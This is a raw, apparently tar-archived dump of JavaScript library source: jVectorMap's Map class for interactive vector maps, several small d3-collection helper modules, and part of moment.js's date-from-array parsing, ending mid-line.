right before the region tip is going to be shown. * @param {Function} params.onRegionOver <code>(Event e, String code)</code> Will be called on region mouse over event. * @param {Function} params.onRegionOut <code>(Event e, String code)</code> Will be called on region mouse out event. * @param {Function} params.onRegionClick <code>(Event e, String code)</code> Will be called on region click event. * @param {Function} params.onRegionSelected <code>(Event e, String code, Boolean isSelected, Array selectedRegions)</code> Will be called when region is (de)selected. <code>isSelected</code> parameter of the callback indicates whether region is selected or not. <code>selectedRegions</code> contains codes of all currently selected regions. * @param {Function} params.onMarkerTipShow <code>(Event e, Object tip, String code)</code> Will be called right before the marker tip is going to be shown. * @param {Function} params.onMarkerOver <code>(Event e, String code)</code> Will be called on marker mouse over event. * @param {Function} params.onMarkerOut <code>(Event e, String code)</code> Will be called on marker mouse out event. * @param {Function} params.onMarkerClick <code>(Event e, String code)</code> Will be called on marker click event. * @param {Function} params.onMarkerSelected <code>(Event e, String code, Boolean isSelected, Array selectedMarkers)</code> Will be called when marker is (de)selected. <code>isSelected</code> parameter of the callback indicates whether marker is selected or not. <code>selectedMarkers</code> contains codes of all currently selected markers. * @param {Function} params.onViewportChange <code>(Event e, Number scale)</code> Triggered when the map's viewport is changed (map was panned or zoomed). */ jvm.Map = function(params) { var map = this, e; this.params = jvm.$.extend(true, {}, jvm.Map.defaultParams, params); if (!jvm.Map.maps[this.params.map]) { throw new Error('Attempt to use map which was not loaded: '+this.params.map); } this.mapData = jvm.Map.maps[this.params.map]; this.markers = {}; this.regions = {}; this.regionsColors = {}; this.regionsData = {}; this.container = jvm.$('<div>').addClass('jvectormap-container'); if (this.params.container) { this.params.container.append( this.container ); } this.container.data('mapObject', this); this.defaultWidth = this.mapData.width; this.defaultHeight = this.mapData.height; this.setBackgroundColor(this.params.backgroundColor); this.onResize = function(){ map.updateSize(); } jvm.$(window).resize(this.onResize); for (e in jvm.Map.apiEvents) { if (this.params[e]) { this.container.bind(jvm.Map.apiEvents[e]+'.jvectormap', this.params[e]); } } this.canvas = new jvm.VectorCanvas(this.container[0], this.width, this.height); if (this.params.bindTouchEvents) { if (('ontouchstart' in window) || (window.DocumentTouch && document instanceof DocumentTouch)) { this.bindContainerTouchEvents(); } else if (window.MSGesture) { this.bindContainerPointerEvents(); } } this.bindContainerEvents(); this.bindElementEvents(); this.createTip(); if (this.params.zoomButtons) { this.bindZoomButtons(); } this.createRegions(); this.createMarkers(this.params.markers || {}); this.updateSize(); if (this.params.focusOn) { if (typeof this.params.focusOn === 'string') { this.params.focusOn = {region: this.params.focusOn}; } else if (jvm.$.isArray(this.params.focusOn)) { this.params.focusOn = {regions: this.params.focusOn}; } this.setFocus(this.params.focusOn); } if (this.params.selectedRegions) { this.setSelectedRegions(this.params.selectedRegions); } if (this.params.selectedMarkers) { this.setSelectedMarkers(this.params.selectedMarkers); } this.legendCntHorizontal = jvm.$('<div/>').addClass('jvectormap-legend-cnt jvectormap-legend-cnt-h'); this.legendCntVertical = jvm.$('<div/>').addClass('jvectormap-legend-cnt jvectormap-legend-cnt-v'); this.container.append(this.legendCntHorizontal); this.container.append(this.legendCntVertical); if (this.params.series) { this.createSeries(); } }; jvm.Map.prototype = { transX: 0, transY: 0, scale: 1, baseTransX: 0, baseTransY: 0, baseScale: 1, width: 0, height: 0, /** * Set background color of the map. * @param {String} backgroundColor Background color in CSS format. */ setBackgroundColor: function(backgroundColor) { this.container.css('background-color', backgroundColor); }, resize: function() { var curBaseScale = this.baseScale; if (this.width / this.height > this.defaultWidth / this.defaultHeight) { this.baseScale = this.height / this.defaultHeight; this.baseTransX = Math.abs(this.width - this.defaultWidth * this.baseScale) / (2 * this.baseScale); } else { this.baseScale = this.width / this.defaultWidth; this.baseTransY = Math.abs(this.height - this.defaultHeight * this.baseScale) / (2 * this.baseScale); } this.scale *= this.baseScale / curBaseScale; this.transX *= this.baseScale / curBaseScale; this.transY *= this.baseScale / curBaseScale; }, /** * Synchronize the size of the map with the size of the container. Suitable in situations where the size of the container is changed programmatically or container is shown after it became visible. */ updateSize: function(){ this.width = this.container.width(); this.height = this.container.height(); this.resize(); this.canvas.setSize(this.width, this.height); this.applyTransform(); }, /** * Reset all the series and show the map with the initial zoom. */ reset: function() { var key, i; for (key in this.series) { for (i = 0; i < this.series[key].length; i++) { this.series[key][i].clear(); } } this.scale = this.baseScale; this.transX = this.baseTransX; this.transY = this.baseTransY; this.applyTransform(); }, applyTransform: function() { var maxTransX, maxTransY, minTransX, minTransY; if (this.defaultWidth * this.scale <= this.width) { maxTransX = (this.width - this.defaultWidth * this.scale) / (2 * this.scale); minTransX = (this.width - this.defaultWidth * this.scale) / (2 * this.scale); } else { maxTransX = 0; minTransX = (this.width - this.defaultWidth * this.scale) / this.scale; } if (this.defaultHeight * this.scale <= this.height) { maxTransY = (this.height - this.defaultHeight * this.scale) / (2 * this.scale); minTransY = (this.height - this.defaultHeight * this.scale) / (2 * this.scale); } else { maxTransY = 0; minTransY = (this.height - this.defaultHeight * this.scale) / this.scale; } if (this.transY > maxTransY) { this.transY = maxTransY; } else if (this.transY < minTransY) { this.transY = minTransY; } if (this.transX > maxTransX) { this.transX = maxTransX; } else if (this.transX < minTransX) { this.transX = minTransX; } this.canvas.applyTransformParams(this.scale, this.transX, this.transY); if (this.markers) { this.repositionMarkers(); } this.repositionLabels(); this.container.trigger('viewportChange', [this.scale/this.baseScale, this.transX, this.transY]); }, bindContainerEvents: function(){ var mouseDown = false, oldPageX, oldPageY, map = this; if (this.params.panOnDrag) { this.container.mousemove(function(e){ if (mouseDown) { map.transX -= (oldPageX - e.pageX) / map.scale; map.transY -= (oldPageY - e.pageY) / map.scale; map.applyTransform(); oldPageX = e.pageX; oldPageY = e.pageY; } return false; }).mousedown(function(e){ mouseDown = true; oldPageX = e.pageX; oldPageY = e.pageY; return false; }); this.onContainerMouseUp = function(){ mouseDown = false; }; jvm.$('body').mouseup(this.onContainerMouseUp); } if (this.params.zoomOnScroll) { this.container.mousewheel(function(event, delta, deltaX, deltaY) { var offset = jvm.$(map.container).offset(), centerX = event.pageX - offset.left, centerY = event.pageY - offset.top, zoomStep = Math.pow(1 + map.params.zoomOnScrollSpeed / 1000, event.deltaFactor * event.deltaY); map.tip.hide(); map.setScale(map.scale * zoomStep, centerX, centerY); event.preventDefault(); }); } }, bindContainerTouchEvents: function(){ var touchStartScale, touchStartDistance, map = this, touchX, touchY, centerTouchX, centerTouchY, lastTouchesLength, handleTouchEvent = function(e){ var touches = e.originalEvent.touches, offset, scale, transXOld, transYOld; if (e.type == 'touchstart') { lastTouchesLength = 0; } if (touches.length == 1) { if (lastTouchesLength == 1) { transXOld = map.transX; transYOld = map.transY; map.transX -= (touchX - touches[0].pageX) / map.scale; map.transY -= (touchY - touches[0].pageY) / map.scale; map.applyTransform(); map.tip.hide(); if (transXOld != map.transX || transYOld != map.transY) { e.preventDefault(); } } touchX = touches[0].pageX; touchY = touches[0].pageY; } else if (touches.length == 2) { if (lastTouchesLength == 2) { scale = Math.sqrt( Math.pow(touches[0].pageX - touches[1].pageX, 2) + Math.pow(touches[0].pageY - touches[1].pageY, 2) ) / touchStartDistance; map.setScale( touchStartScale * scale, centerTouchX, centerTouchY ) map.tip.hide(); e.preventDefault(); } else { offset = jvm.$(map.container).offset(); if (touches[0].pageX > touches[1].pageX) { centerTouchX = touches[1].pageX + (touches[0].pageX - touches[1].pageX) / 2; } else { centerTouchX = touches[0].pageX + (touches[1].pageX - touches[0].pageX) / 2; } if (touches[0].pageY > touches[1].pageY) { centerTouchY = touches[1].pageY + (touches[0].pageY - touches[1].pageY) / 2; } else { centerTouchY = touches[0].pageY + (touches[1].pageY - touches[0].pageY) / 2; } centerTouchX -= offset.left; centerTouchY -= offset.top; touchStartScale = map.scale; touchStartDistance = Math.sqrt( Math.pow(touches[0].pageX - touches[1].pageX, 2) + Math.pow(touches[0].pageY - touches[1].pageY, 2) ); } } lastTouchesLength = touches.length; }; jvm.$(this.container).bind('touchstart', handleTouchEvent); jvm.$(this.container).bind('touchmove', handleTouchEvent); }, bindContainerPointerEvents: function(){ var map = this, gesture = new MSGesture(), element = this.container[0], handlePointerDownEvent = function(e){ gesture.addPointer(e.pointerId); }, handleGestureEvent = function(e){ var offset, scale, transXOld, transYOld; if (e.translationX != 0 || e.translationY != 0) { transXOld = map.transX; transYOld = map.transY; map.transX += e.translationX / map.scale; map.transY += e.translationY / map.scale; map.applyTransform(); map.tip.hide(); if (transXOld != map.transX || transYOld != map.transY) { e.preventDefault(); } } if (e.scale != 1) { map.setScale( map.scale * e.scale, e.offsetX, e.offsetY ) map.tip.hide(); e.preventDefault(); } }; gesture.target = element; element.addEventListener("MSGestureChange", handleGestureEvent, false); element.addEventListener("pointerdown", handlePointerDownEvent, false); }, bindElementEvents: function(){ var map = this, pageX, pageY, mouseMoved; this.container.mousemove(function(e){ if (Math.abs(pageX - e.pageX) + Math.abs(pageY - e.pageY) > 2) { mouseMoved = true; } }); /* Can not use common class selectors here because of the bug in jQuery SVG handling, use with caution. */ this.container.delegate("[class~='jvectormap-element']", 'mouseover mouseout', function(e){ var baseVal = jvm.$(this).attr('class').baseVal || jvm.$(this).attr('class'), type = baseVal.indexOf('jvectormap-region') === -1 ? 'marker' : 'region', code = type == 'region' ? jvm.$(this).attr('data-code') : jvm.$(this).attr('data-index'), element = type == 'region' ? map.regions[code].element : map.markers[code].element, tipText = type == 'region' ? map.mapData.paths[code].name : (map.markers[code].config.name || ''), tipShowEvent = jvm.$.Event(type+'TipShow.jvectormap'), overEvent = jvm.$.Event(type+'Over.jvectormap'); if (e.type == 'mouseover') { map.container.trigger(overEvent, [code]); if (!overEvent.isDefaultPrevented()) { element.setHovered(true); } map.tip.text(tipText); map.container.trigger(tipShowEvent, [map.tip, code]); if (!tipShowEvent.isDefaultPrevented()) { map.tip.show(); map.tipWidth = map.tip.width(); map.tipHeight = map.tip.height(); } } else { element.setHovered(false); map.tip.hide(); map.container.trigger(type+'Out.jvectormap', [code]); } }); /* Can not use common class selectors here because of the bug in jQuery SVG handling, use with caution. */ this.container.delegate("[class~='jvectormap-element']", 'mousedown', function(e){ pageX = e.pageX; pageY = e.pageY; mouseMoved = false; }); /* Can not use common class selectors here because of the bug in jQuery SVG handling, use with caution. */ this.container.delegate("[class~='jvectormap-element']", 'mouseup', function(){ var baseVal = jvm.$(this).attr('class').baseVal ? jvm.$(this).attr('class').baseVal : jvm.$(this).attr('class'), type = baseVal.indexOf('jvectormap-region') === -1 ? 'marker' : 'region', code = type == 'region' ? jvm.$(this).attr('data-code') : jvm.$(this).attr('data-index'), clickEvent = jvm.$.Event(type+'Click.jvectormap'), element = type == 'region' ? map.regions[code].element : map.markers[code].element; if (!mouseMoved) { map.container.trigger(clickEvent, [code]); if ((type === 'region' && map.params.regionsSelectable) || (type === 'marker' && map.params.markersSelectable)) { if (!clickEvent.isDefaultPrevented()) { if (map.params[type+'sSelectableOne']) { map.clearSelected(type+'s'); } element.setSelected(!element.isSelected); } } } }); }, bindZoomButtons: function() { var map = this; jvm.$('<div/>').addClass('jvectormap-zoomin').text('+').appendTo(this.container); jvm.$('<div/>').addClass('jvectormap-zoomout').html('−').appendTo(this.container); this.container.find('.jvectormap-zoomin').click(function(){ map.setScale(map.scale * map.params.zoomStep, map.width / 2, map.height / 2, false, map.params.zoomAnimate); }); this.container.find('.jvectormap-zoomout').click(function(){ map.setScale(map.scale / map.params.zoomStep, map.width / 2, map.height / 2, false, map.params.zoomAnimate); }); }, createTip: function(){ var map = this; this.tip = jvm.$('<div/>').addClass('jvectormap-tip').appendTo(jvm.$('body')); this.container.mousemove(function(e){ var left = e.pageX-15-map.tipWidth, top = e.pageY-15-map.tipHeight; if (left < 5) { left = e.pageX + 15; } if (top < 5) { top = e.pageY + 15; } map.tip.css({ left: left, top: top }); }); }, setScale: function(scale, anchorX, anchorY, isCentered, animate) { var viewportChangeEvent = jvm.$.Event('zoom.jvectormap'), interval, that = this, i = 0, count = Math.abs(Math.round((scale - this.scale) * 60 / Math.max(scale, this.scale))), scaleStart, scaleDiff, transXStart, transXDiff, transYStart, transYDiff, transX, transY, deferred = new jvm.$.Deferred(); if (scale > this.params.zoomMax * this.baseScale) { scale = this.params.zoomMax * this.baseScale; } else if (scale < this.params.zoomMin * this.baseScale) { scale = this.params.zoomMin * this.baseScale; } if (typeof anchorX != 'undefined' && typeof anchorY != 'undefined') { zoomStep = scale / this.scale; if (isCentered) { transX = anchorX + this.defaultWidth * (this.width / (this.defaultWidth * scale)) / 2; transY = anchorY + this.defaultHeight * (this.height / (this.defaultHeight * scale)) / 2; } else { transX = this.transX - (zoomStep - 1) / scale * anchorX; transY = this.transY - (zoomStep - 1) / scale * anchorY; } } if (animate && count > 0) { scaleStart = this.scale; scaleDiff = (scale - scaleStart) / count; transXStart = this.transX * this.scale; transYStart = this.transY * this.scale; transXDiff = (transX * scale - transXStart) / count; transYDiff = (transY * scale - transYStart) / count; interval = setInterval(function(){ i += 1; that.scale = scaleStart + scaleDiff * i; that.transX = (transXStart + transXDiff * i) / that.scale; that.transY = (transYStart + transYDiff * i) / that.scale; that.applyTransform(); if (i == count) { clearInterval(interval); that.container.trigger(viewportChangeEvent, [scale/that.baseScale]); deferred.resolve(); } }, 10); } else { this.transX = transX; this.transY = transY; this.scale = scale; this.applyTransform(); this.container.trigger(viewportChangeEvent, [scale/this.baseScale]); deferred.resolve(); } return deferred; }, /** * Set the map's viewport to the specific point and set zoom of the map to the specific level. Point and zoom level could be defined in two ways: using the code of some region to focus on or a central point and zoom level as numbers. * @param This method takes a configuration object as the single argument. The options passed to it are the following: * @param {Array} params.regions Array of region codes to zoom to. * @param {String} params.region Region code to zoom to. * @param {Number} params.scale Map scale to set. * @param {Number} params.lat Latitude to set viewport to. * @param {Number} params.lng Longitude to set viewport to. * @param {Number} params.x Number from 0 to 1 specifying the horizontal coordinate of the central point of the viewport. * @param {Number} params.y Number from 0 to 1 specifying the vertical coordinate of the central point of the viewport. * @param {Boolean} params.animate Indicates whether or not to animate the scale change and transition. */ setFocus: function(config){ var bbox, itemBbox, newBbox, codes, i, point; config = config || {}; if (config.region) { codes = [config.region]; } else if (config.regions) { codes = config.regions; } if (codes) { for (i = 0; i < codes.length; i++) { if (this.regions[codes[i]]) { itemBbox = this.regions[codes[i]].element.shape.getBBox(); if (itemBbox) { if (typeof bbox == 'undefined') { bbox = itemBbox; } else { newBbox = { x: Math.min(bbox.x, itemBbox.x), y: Math.min(bbox.y, itemBbox.y), width: Math.max(bbox.x + bbox.width, itemBbox.x + itemBbox.width) - Math.min(bbox.x, itemBbox.x), height: Math.max(bbox.y + bbox.height, itemBbox.y + itemBbox.height) - Math.min(bbox.y, itemBbox.y) } bbox = newBbox; } } } } return this.setScale( Math.min(this.width / bbox.width, this.height / bbox.height), - (bbox.x + bbox.width / 2), - (bbox.y + bbox.height / 2), true, config.animate ); } else { if (config.lat && config.lng) { point = this.latLngToPoint(config.lat, config.lng); config.x = this.transX - point.x / this.scale; config.y = this.transY - point.y / this.scale; } else if (config.x && config.y) { config.x *= -this.defaultWidth; config.y *= -this.defaultHeight; } return this.setScale(config.scale * this.baseScale, config.x, config.y, true, config.animate); } }, getSelected: function(type){ var key, selected = []; for (key in this[type]) { if (this[type][key].element.isSelected) { selected.push(key); } } return selected; }, /** * Return the codes of currently selected regions. * @returns {Array} */ getSelectedRegions: function(){ return this.getSelected('regions'); }, /** * Return the codes of currently selected markers. * @returns {Array} */ getSelectedMarkers: function(){ return this.getSelected('markers'); }, setSelected: function(type, keys){ var i; if (typeof keys != 'object') { keys = [keys]; } if (jvm.$.isArray(keys)) { for (i = 0; i < keys.length; i++) { this[type][keys[i]].element.setSelected(true); } } else { for (i in keys) { this[type][i].element.setSelected(!!keys[i]); } } }, /** * Set or remove selected state for the regions. * @param {String|Array|Object} keys If <code>String</code> or <code>Array</code> the region(s) with the corresponding code(s) will be selected. If <code>Object</code> was provided its keys are codes of regions, state of which should be changed. Selected state will be set if value is true, removed otherwise. */ setSelectedRegions: function(keys){ this.setSelected('regions', keys); }, /** * Set or remove selected state for the markers. * @param {String|Array|Object} keys If <code>String</code> or <code>Array</code> the marker(s) with the corresponding code(s) will be selected. If <code>Object</code> was provided its keys are codes of markers, state of which should be changed. Selected state will be set if value is true, removed otherwise. */ setSelectedMarkers: function(keys){ this.setSelected('markers', keys); }, clearSelected: function(type){ var select = {}, selected = this.getSelected(type), i; for (i = 0; i < selected.length; i++) { select[selected[i]] = false; }; this.setSelected(type, select); }, /** * Remove the selected state from all the currently selected regions. */ clearSelectedRegions: function(){ this.clearSelected('regions'); }, /** * Remove the selected state from all the currently selected markers. */ clearSelectedMarkers: function(){ this.clearSelected('markers'); }, /** * Return the instance of Map. Useful when instantiated as a jQuery plug-in. * @returns {Map} */ getMapObject: function(){ return this; }, /** * Return the name of the region by region code. * @returns {String} */ getRegionName: function(code){ return this.mapData.paths[code].name; }, createRegions: function(){ var key, region, map = this; this.regionLabelsGroup = this.regionLabelsGroup || this.canvas.addGroup(); for (key in this.mapData.paths) { region = new jvm.Region({ map: this, path: this.mapData.paths[key].path, code: key, style: jvm.$.extend(true, {}, this.params.regionStyle), labelStyle: jvm.$.extend(true, {}, this.params.regionLabelStyle), canvas: this.canvas, labelsGroup: this.regionLabelsGroup, label: this.canvas.mode != 'vml' ? (this.params.labels && this.params.labels.regions) : null }); jvm.$(region.shape).bind('selected', function(e, isSelected){ map.container.trigger('regionSelected.jvectormap', [jvm.$(this.node).attr('data-code'), isSelected, map.getSelectedRegions()]); }); this.regions[key] = { element: region, config: this.mapData.paths[key] }; } }, createMarkers: function(markers) { var i, marker, point, markerConfig, markersArray, map = this; this.markersGroup = this.markersGroup || this.canvas.addGroup(); this.markerLabelsGroup = this.markerLabelsGroup || this.canvas.addGroup(); if (jvm.$.isArray(markers)) { markersArray = markers.slice(); markers = {}; for (i = 0; i < markersArray.length; i++) { markers[i] = markersArray[i]; } } for (i in markers) { markerConfig = markers[i] instanceof Array ? {latLng: markers[i]} : markers[i]; point = this.getMarkerPosition( markerConfig ); if (point !== false) { marker = new jvm.Marker({ map: this, style: jvm.$.extend(true, {}, this.params.markerStyle, {initial: markerConfig.style || {}}), labelStyle: jvm.$.extend(true, {}, this.params.markerLabelStyle), index: i, cx: point.x, cy: point.y, group: this.markersGroup, canvas: this.canvas, labelsGroup: this.markerLabelsGroup, label: this.canvas.mode != 'vml' ? (this.params.labels && this.params.labels.markers) : null }); jvm.$(marker.shape).bind('selected', function(e, isSelected){ map.container.trigger('markerSelected.jvectormap', [jvm.$(this.node).attr('data-index'), isSelected, map.getSelectedMarkers()]); }); if (this.markers[i]) { this.removeMarkers([i]); } this.markers[i] = {element: marker, config: markerConfig}; } } }, repositionMarkers: function() { var i, point; for (i in this.markers) { point = this.getMarkerPosition( this.markers[i].config ); if (point !== false) { this.markers[i].element.setStyle({cx: point.x, cy: point.y}); } } }, repositionLabels: function() { var key; for (key in this.regions) { this.regions[key].element.updateLabelPosition(); } for (key in this.markers) { this.markers[key].element.updateLabelPosition(); } }, getMarkerPosition: function(markerConfig) { if (jvm.Map.maps[this.params.map].projection) { return this.latLngToPoint.apply(this, markerConfig.latLng || [0, 0]); } else { return { x: markerConfig.coords[0]*this.scale + this.transX*this.scale, y: markerConfig.coords[1]*this.scale + this.transY*this.scale }; } }, /** * Add one marker to the map. * @param {String} key Marker unique code. * @param {Object} marker Marker configuration parameters. * @param {Array} seriesData Values to add to the data series. */ addMarker: function(key, marker, seriesData){ var markers = {}, data = [], values, i, seriesData = seriesData || []; markers[key] = marker; for (i = 0; i < seriesData.length; i++) { values = {}; if (typeof seriesData[i] !== 'undefined') { values[key] = seriesData[i]; } data.push(values); } this.addMarkers(markers, data); }, /** * Add set of marker to the map. * @param {Object|Array} markers Markers to add to the map. In case of array is provided, codes of markers will be set as string representations of array indexes. * @param {Array} seriesData Values to add to the data series. */ addMarkers: function(markers, seriesData){ var i; seriesData = seriesData || []; this.createMarkers(markers); for (i = 0; i < seriesData.length; i++) { this.series.markers[i].setValues(seriesData[i] || {}); }; }, /** * Remove some markers from the map. * @param {Array} markers Array of marker codes to be removed. */ removeMarkers: function(markers){ var i; for (i = 0; i < markers.length; i++) { this.markers[ markers[i] ].element.remove(); delete this.markers[ markers[i] ]; }; }, /** * Remove all markers from the map. */ removeAllMarkers: function(){ var i, markers = []; for (i in this.markers) { markers.push(i); } this.removeMarkers(markers) }, /** * Converts coordinates expressed as latitude and longitude to the coordinates in pixels on the map. * @param {Number} lat Latitide of point in degrees. * @param {Number} lng Longitude of point in degrees. */ latLngToPoint: function(lat, lng) { var point, proj = jvm.Map.maps[this.params.map].projection, centralMeridian = proj.centralMeridian, inset, bbox; if (lng < (-180 + centralMeridian)) { lng += 360; } point = jvm.Proj[proj.type](lat, lng, centralMeridian); inset = this.getInsetForPoint(point.x, point.y); if (inset) { bbox = inset.bbox; point.x = (point.x - bbox[0].x) / (bbox[1].x - bbox[0].x) * inset.width * this.scale; point.y = (point.y - bbox[0].y) / (bbox[1].y - bbox[0].y) * inset.height * this.scale; return { x: point.x + this.transX*this.scale + inset.left*this.scale, y: point.y + this.transY*this.scale + inset.top*this.scale }; } else { return false; } }, /** * Converts cartesian coordinates into coordinates expressed as latitude and longitude. * @param {Number} x X-axis of point on map in pixels. * @param {Number} y Y-axis of point on map in pixels. */ pointToLatLng: function(x, y) { var proj = jvm.Map.maps[this.params.map].projection, centralMeridian = proj.centralMeridian, insets = jvm.Map.maps[this.params.map].insets, i, inset, bbox, nx, ny; for (i = 0; i < insets.length; i++) { inset = insets[i]; bbox = inset.bbox; nx = x - (this.transX*this.scale + inset.left*this.scale); ny = y - (this.transY*this.scale + inset.top*this.scale); nx = (nx / (inset.width * this.scale)) * (bbox[1].x - bbox[0].x) + bbox[0].x; ny = (ny / (inset.height * this.scale)) * (bbox[1].y - bbox[0].y) + bbox[0].y; if (nx > bbox[0].x && nx < bbox[1].x && ny > bbox[0].y && ny < bbox[1].y) { return jvm.Proj[proj.type + '_inv'](nx, -ny, centralMeridian); } } return false; }, getInsetForPoint: function(x, y){ var insets = jvm.Map.maps[this.params.map].insets, i, bbox; for (i = 0; i < insets.length; i++) { bbox = insets[i].bbox; if (x > bbox[0].x && x < bbox[1].x && y > bbox[0].y && y < bbox[1].y) { return insets[i]; } } }, createSeries: function(){ var i, key; this.series = { markers: [], regions: [] }; for (key in this.params.series) { for (i = 0; i < this.params.series[key].length; i++) { this.series[key][i] = new jvm.DataSeries( this.params.series[key][i], this[key], this ); } } }, /** * Gracefully remove the map and and all its accessories, unbind event handlers. */ remove: function(){ this.tip.remove(); this.container.remove(); jvm.$(window).unbind('resize', this.onResize); jvm.$('body').unbind('mouseup', this.onContainerMouseUp); } }; jvm.Map.maps = {}; jvm.Map.defaultParams = { map: 'world_mill_en', backgroundColor: '#505050', zoomButtons: true, zoomOnScroll: true, zoomOnScrollSpeed: 3, panOnDrag: true, zoomMax: 8, zoomMin: 1, zoomStep: 1.6, zoomAnimate: true, regionsSelectable: false, markersSelectable: false, bindTouchEvents: true, regionStyle: { initial: { fill: 'white', "fill-opacity": 1, stroke: 'none', "stroke-width": 0, "stroke-opacity": 1 }, hover: { "fill-opacity": 0.8, cursor: 'pointer' }, selected: { fill: 'yellow' }, selectedHover: { } }, regionLabelStyle: { initial: { 'font-family': 'Verdana', 'font-size': '12', 'font-weight': 'bold', cursor: 'default', fill: 'black' }, hover: { cursor: 'pointer' } }, markerStyle: { initial: { fill: 'grey', stroke: '#505050', "fill-opacity": 1, "stroke-width": 1, "stroke-opacity": 1, r: 5 }, hover: { stroke: 'black', "stroke-width": 2, cursor: 'pointer' }, selected: { fill: 'blue' }, selectedHover: { } }, markerLabelStyle: { initial: { 'font-family': 'Verdana', 'font-size': '12', 'font-weight': 'bold', cursor: 'default', fill: 'black' }, hover: { cursor: 'pointer' } } }; jvm.Map.apiEvents = { onRegionTipShow: 'regionTipShow', onRegionOver: 'regionOver', onRegionOut: 'regionOut', onRegionClick: 'regionClick', onRegionSelected: 'regionSelected', onMarkerTipShow: 'markerTipShow', onMarkerOver: 'markerOver', onMarkerOut: 'markerOut', onMarkerClick: 'markerClick', onMarkerSelected: 'markerSelected', onViewportChange: 'viewportChange' };keys.js000064400000000155151677407560006100 0ustar00export default function(map) { var keys = []; for (var key in map) keys.push(key); return keys; } values.js000064400000000170151677407560006421 0ustar00export default function(map) { var values = []; for (var key in map) values.push(map[key]); return values; } nest.js000064400000004052151677407560006076 0ustar00import map from "./map"; export default function() { var keys = [], sortKeys = [], sortValues, rollup, nest; function apply(array, depth, createResult, setResult) { if (depth >= keys.length) { if (sortValues != null) array.sort(sortValues); return rollup != null ? rollup(array) : array; } var i = -1, n = array.length, key = keys[depth++], keyValue, value, valuesByKey = map(), values, result = createResult(); while (++i < n) { if (values = valuesByKey.get(keyValue = key(value = array[i]) + "")) { values.push(value); } else { valuesByKey.set(keyValue, [value]); } } valuesByKey.each(function(values, key) { setResult(result, key, apply(values, depth, createResult, setResult)); }); return result; } function entries(map, depth) { if (++depth > keys.length) return map; var array, sortKey = sortKeys[depth - 1]; if (rollup != null && depth >= keys.length) array = map.entries(); else array = [], map.each(function(v, k) { array.push({key: k, values: entries(v, depth)}); }); return sortKey != null ? array.sort(function(a, b) { return sortKey(a.key, b.key); }) : array; } return nest = { object: function(array) { return apply(array, 0, createObject, setObject); }, map: function(array) { return apply(array, 0, createMap, setMap); }, entries: function(array) { return entries(apply(array, 0, createMap, setMap), 0); }, key: function(d) { keys.push(d); return nest; }, sortKeys: function(order) { sortKeys[keys.length - 1] = order; return nest; }, sortValues: function(order) { sortValues = order; return nest; }, rollup: function(f) { rollup = f; return nest; } }; } function createObject() { return {}; } function setObject(object, key, value) { object[key] = value; } function createMap() { return map(); } function setMap(map, key, value) { map.set(key, value); } set.js000064400000001507151677407560005722 0ustar00import {default as map, prefix} from "./map"; function Set() {} var proto = map.prototype; Set.prototype = set.prototype = { constructor: Set, has: proto.has, add: function(value) { value += ""; this[prefix + value] = value; return this; }, remove: proto.remove, clear: proto.clear, values: proto.keys, size: proto.size, empty: proto.empty, each: proto.each }; function set(object, f) { var set = new Set; // Copy constructor. if (object instanceof Set) object.each(function(value) { set.add(value); }); // Otherwise, assume it’s an array. else if (object) { var i = -1, n = object.length; if (f == null) while (++i < n) set.add(object[i]); else while (++i < n) set.add(f(object[i], i, object)); } return set; } export default set; entries.js000064400000000216151677407560006574 0ustar00export default function(map) { var entries = []; for (var key in map) entries.push({key: key, value: map[key]}); return entries; } lib/create/from-array.js000064400000012475151677412270011217 0ustar00import { hooks } from '../utils/hooks'; import { createDate, createUTCDate } from './date-from-array'; import { daysInYear } from '../units/year'; import { weekOfYear, weeksInYear, dayOfYearFromWeeks } from '../units/week-calendar-utils'; import { YEAR, MONTH, DATE, HOUR, MINUTE, SECOND, MILLISECOND } from '../units/constants'; import { createLocal } from './local'; import defaults from '../utils/defaults'; import getParsingFlags from './parsing-flags'; function currentDateArray(config) { // hooks is actually the exported moment object var nowValue = new Date(hooks.now()); if (config._useUTC) { return [nowValue.getUTCFullYear(), nowValue.getUTCMonth(), nowValue.getUTCDate()]; } return [nowValue.getFullYear(), nowValue.getMonth(), nowValue.getDate()]; } // convert an array to a date. // the array should mirror the parameters below // note: all values past the year are optional and will default to the lowest possible value. // [year, month, day , hour, minute, second, millisecond] export function configFromArray (config) { var i, date, input = [], currentDate, expectedWeekday, yearToUse; if (config._d) { return; } currentDate = currentDateArray(config); //compute day of the year from weeks and weekdays if (config._w && config._a[DATE] == null && config._a[MONTH] == null) { dayOfYearFromWeekInfo(config); } //if the day of the year is set, figure out what it is if (config._dayOfYear != null) { yearToUse = defaults(config._a[YEAR], currentDate[YEAR]); if (config._dayOfYear > daysInYear(yearToUse) || config._dayOfYear === 0) { getParsingFlags(config)._overflowDayOfYear = true; } date = createUTCDate(yearToUse, 0, config._dayOfYear); config._a[MONTH] = date.getUTCMonth(); config._a[DATE] = date.getUTCDate(); } // Default to current date. // * if no year, month, day of month are given, default to today // * if day of month is given, default month and year // * if month is given, default only year // * if year is given, don't default anything for (i = 0; i < 3 && config._a[i] == null; ++i) { config._a[i] = input[i] = currentDate[i]; } // Zero out whatever was not defaulted, including time for (; i < 7; i++) { config._a[i] = input[i] = (config._a[i] == null) ? (i === 2 ? 1 : 0) : config._a[i]; } // Check for 24:00:00.000 if (config._a[HOUR] === 24 && config._a[MINUTE] === 0 && config._a[SECOND] === 0 && config._a[MILLISECOND] === 0) { config._nextDay = true; config._a[HOUR] = 0; } config._d = (config._useUTC ? createUTCDate : createDate).apply(null, input); expectedWeekday = config._useUTC ? config._d.getUTCDay() : config._d.getDay(); // Apply timezone offset from input. The actual utcOffset can be changed // with parseZone. if (config._tzm != null) { config._d.setUTCMinutes(config._d.getUTCMinutes() - config._tzm); } if (config._nextDay) { config._a[HOUR] = 24; } // check for mismatching day of week if (config._w && typeof config._w.d !== 'undefined' && config._w.d !== expectedWeekday) { getParsingFlags(config).weekdayMismatch = true; } } function dayOfYearFromWeekInfo(config) { var w, weekYear, week, weekday, dow, doy, temp, weekdayOverflow; w = config._w; if (w.GG != null || w.W != null || w.E != null) { dow = 1; doy = 4; // TODO: We need to take the current isoWeekYear, but that depends on // how we interpret now (local, utc, fixed offset). So create // a now version of current config (take local/utc/offset flags, and // create now). weekYear = defaults(w.GG, config._a[YEAR], weekOfYear(createLocal(), 1, 4).year); week = defaults(w.W, 1); weekday = defaults(w.E, 1); if (weekday < 1 || weekday > 7) { weekdayOverflow = true; } } else { dow = config._locale._week.dow; doy = config._locale._week.doy; var curWeek = weekOfYear(createLocal(), dow, doy); weekYear = defaults(w.gg, config._a[YEAR], curWeek.year); // Default 